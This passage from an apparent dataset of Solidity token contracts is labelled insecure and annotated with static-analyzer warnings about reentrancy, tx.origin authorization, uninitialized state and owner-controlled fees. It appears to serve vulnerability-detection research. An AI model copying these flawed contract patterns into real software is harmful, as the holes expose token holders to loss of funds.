tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 9e80e0a\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 9e80e0a\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 403db63\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0212773): Missing events for critical arithmetic parameters.\n\t// Recommendation for 0212773: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 0212773\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 0212773\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: 0212773\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 0212773\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: caef067): FROGWIZARD.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for caef067: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: caef067\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 97ce6cb): FROGWIZARD.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 97ce6cb: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 97ce6cb\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9e2cffc): FROGWIZARD.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 9e2cffc: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 9e2cffc\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}", "file_name": "solidity_code_2377.sol", "secure": 0, "size_bytes": 20061 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract LordedgeshibaonepiecespaceX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a2f28c7): LordedgeshibaonepiecespaceX.bots is never initialized. It is used in LordedgeshibaonepiecespaceX._transfer(address,address,uint256) LordedgeshibaonepiecespaceX.isBot(address)\n\t// Recommendation for a2f28c7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = false;\n\t// WARNING Optimization Issue (immutable-states | ID: 8b388f9): LordedgeshibaonepiecespaceX._taxWallet should be immutable \n\t// Recommendation for 8b388f9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea6de7a): LordedgeshibaonepiecespaceX._initialBuyTax should be constant \n\t// Recommendation for ea6de7a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 5301be0): LordedgeshibaonepiecespaceX._initialSellTax should be constant \n\t// Recommendation for 5301be0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\t// WARNING Optimization Issue (constable-states | ID: 05e0217): LordedgeshibaonepiecespaceX._finalBuyTax should be constant \n\t// Recommendation for 05e0217: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: ede2a7b): LordedgeshibaonepiecespaceX._finalSellTax should be constant \n\t// Recommendation for ede2a7b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 9a7757f): LordedgeshibaonepiecespaceX._reduceBuyTaxAt should be constant \n\t// Recommendation for 9a7757f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\t// WARNING Optimization Issue (constable-states | ID: b4a17e9): LordedgeshibaonepiecespaceX._reduceSellTaxAt should be constant \n\t// Recommendation for b4a17e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: a4eccf5): LordedgeshibaonepiecespaceX._preventSwapBefore should be constant \n\t// Recommendation for a4eccf5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n string private constant _name = unicode\"LordEdgeShibaOnepieceSpaceX \";\n string private constant _symbol = unicode\"DOGECOIN\";\n uint256 public _maxTxAmount = 20000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: ebbad55): LordedgeshibaonepiecespaceX._taxSwapThreshold should be constant \n\t// Recommendation for ebbad55: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 20000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 01f1030): LordedgeshibaonepiecespaceX._maxTaxSwap should be constant \n\t// Recommendation for 01f1030: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 5000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02fe932): LordedgeshibaonepiecespaceX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 02fe932: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b30bca8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b30bca8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 61eeee4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 61eeee4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b30bca8\n\t\t// reentrancy-benign | ID: 61eeee4\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: b30bca8\n\t\t// reentrancy-benign | ID: 61eeee4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9d6db41): LordedgeshibaonepiecespaceX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9d6db41: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 61eeee4\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: b30bca8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: be6e53a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for be6e53a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 63da258): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 63da258: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a2f28c7): LordedgeshibaonepiecespaceX.bots is never initialized. It is used in LordedgeshibaonepiecespaceX._transfer(address,address,uint256) LordedgeshibaonepiecespaceX.isBot(address)\n\t// Recommendation for a2f28c7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fa4d87f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fa4d87f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 63da258\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: be6e53a\n\t\t\t\t// reentrancy-eth | ID: fa4d87f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: be6e53a\n\t\t\t\t\t// reentrancy-eth | ID: fa4d87f\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fa4d87f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: be6e53a\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: fa4d87f\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: fa4d87f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: be6e53a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: b30bca8\n\t\t// reentrancy-events | ID: be6e53a\n\t\t// reentrancy-benign | ID: 61eeee4\n\t\t// reentrancy-eth | ID: fa4d87f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: dadce38): LordedgeshibaonepiecespaceX.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for dadce38: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b30bca8\n\t\t// reentrancy-events | ID: be6e53a\n\t\t// reentrancy-eth | ID: fa4d87f\n\t\t// arbitrary-send-eth | ID: dadce38\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a2f28c7): LordedgeshibaonepiecespaceX.bots is never initialized. It is used in LordedgeshibaonepiecespaceX._transfer(address,address,uint256) LordedgeshibaonepiecespaceX.isBot(address)\n\t// Recommendation for a2f28c7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dcfacd7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dcfacd7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f223fbc): LordedgeshibaonepiecespaceX.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f223fbc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e8ef034): LordedgeshibaonepiecespaceX.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e8ef034: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7fae31d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7fae31d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: dcfacd7\n\t\t// reentrancy-eth | ID: 7fae31d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: dcfacd7\n\t\t// unused-return | ID: f223fbc\n\t\t// reentrancy-eth | ID: 7fae31d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: dcfacd7\n\t\t// unused-return | ID: e8ef034\n\t\t// reentrancy-eth | ID: 7fae31d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: dcfacd7\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 7fae31d\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_2378.sol", "secure": 0, "size_bytes": 18805 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 76fce1f): Contract locking ether found Contract RiddleCoinEscapetheGame has payable functions RiddleCoinEscapetheGame.receive() But does not have a function to withdraw the ether\n// Recommendation for 76fce1f: Remove the 'payable' attribute or add a withdraw function.\ncontract RiddleCoinEscapetheGame is Context, IERC20 {\n IUniswapV2Router02 immutable uniswapV2Router;\n address immutable uniswapV2Pair;\n address immutable WETH;\n address payable immutable marketingWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fda6fdc): RiddleCoinEscapetheGame._owner should be immutable \n\t// Recommendation for fda6fdc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _owner = msg.sender;\n uint8 private launch;\n uint8 private inSwapAndLiquify;\n\n uint256 private _totalSupply = 10_000_000e18;\n uint256 public maxTxAmount = 200_000e18;\n uint256 private constant onePercent = 100_000e18;\n uint256 private constant minSwap = 50_000e18;\n\n uint256 public buyTax;\n uint256 public sellTax;\n uint256 public burnRate = 100;\n\n uint256 private launchBlock;\n\n uint256 public _transactionVolumeCurrent;\n uint256 public _transactionVolumePrevious;\n uint256 public _lastBucketTime = block.timestamp;\n uint256 private constant _bucketDuration = 60 minutes;\n\n mapping(address => uint256) private _balance;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFeeWallet;\n\n function onlyOwner() internal view {\n require(_owner == msg.sender);\n }\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n WETH = uniswapV2Router.WETH();\n buyTax = 300;\n sellTax = 300;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0x65ecF7E4bBaC0877d687EaDf552faF0c66cD8f60);\n _balance[msg.sender] = _totalSupply;\n\n _isExcludedFromFeeWallet[marketingWallet] = true;\n _isExcludedFromFeeWallet[msg.sender] = true;\n _isExcludedFromFeeWallet[address(this)] = true;\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return \"RiddleCoin: Escape the Game\";\n }\n\n function symbol() public pure returns (string memory) {\n return \"$GAME\";\n }\n\n function decimals() public pure returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bcc3c60): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bcc3c60: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4b2e116): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4b2e116: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bcc3c60\n\t\t// reentrancy-benign | ID: 4b2e116\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: bcc3c60\n\t\t// reentrancy-benign | ID: 4b2e116\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 4b2e116\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: bcc3c60\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() external {\n onlyOwner();\n launch = 1;\n launchBlock = block.number;\n }\n\n function addExcludedWallet(address wallet) external {\n onlyOwner();\n _isExcludedFromFeeWallet[wallet] = true;\n }\n\n function removeLimits() external {\n onlyOwner();\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 02bd273): RiddleCoinEscapetheGame.changeTax(uint256,uint256,uint256) should emit an event for buyTax = newBuyTax * 100 sellTax = newSellTax * 100 burnRate = newBurnRate * 100 \n\t// Recommendation for 02bd273: Emit an event for critical parameter changes.\n function changeTax(\n uint256 newBuyTax,\n uint256 newSellTax,\n uint256 newBurnRate\n ) external {\n onlyOwner();\n require(\n newBuyTax + newSellTax + newBurnRate <= 20,\n \"Taxes more than 20%\"\n );\n\t\t// events-maths | ID: 02bd273\n buyTax = newBuyTax * 100;\n\t\t// events-maths | ID: 02bd273\n sellTax = newSellTax * 100;\n\t\t// events-maths | ID: 02bd273\n burnRate = newBurnRate * 100;\n }\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balance[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balance[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8e1f998): RiddleCoinEscapetheGame._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp >= _lastBucketTime + _bucketDuration\n\t// Recommendation for 8e1f998: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 25ba000): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 25ba000: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bb6d0b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bb6d0b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 947b255): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 947b255: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(amount > 1e9, \"Min transfer amt\");\n\n unchecked {\n _transactionVolumeCurrent += amount;\n\t\t\t// timestamp | ID: 8e1f998\n if (block.timestamp >= _lastBucketTime + _bucketDuration) {\n if (_transactionVolumeCurrent > _transactionVolumePrevious) {\n if (burnRate + 50 <= 200) {\n burnRate += 50;\n }\n } else {\n if (burnRate >= 50) {\n burnRate -= 50;\n }\n }\n _transactionVolumePrevious = _transactionVolumeCurrent;\n _transactionVolumeCurrent = 0;\n _lastBucketTime = block.timestamp;\n }\n }\n\n uint256 _tax;\n if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {\n _tax = 0;\n } else {\n require(\n launch != 0 && amount <= maxTxAmount,\n \"Launch / Max TxAmount 1% at launch\"\n );\n\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n _balance[to] += amount;\n emit Transfer(from, to, amount);\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n if (tokensToSwap > onePercent) {\n tokensToSwap = onePercent;\n }\n inSwapAndLiquify = 1;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = WETH;\n\t\t\t\t\t// reentrancy-events | ID: 25ba000\n\t\t\t\t\t// reentrancy-events | ID: bcc3c60\n\t\t\t\t\t// reentrancy-benign | ID: bb6d0b3\n\t\t\t\t\t// reentrancy-benign | ID: 4b2e116\n\t\t\t\t\t// reentrancy-no-eth | ID: 947b255\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\t\t\t\t\t// reentrancy-no-eth | ID: 947b255\n inSwapAndLiquify = 0;\n }\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 burnTokens = (amount * burnRate) / 10000;\n uint256 taxTokens = (amount * 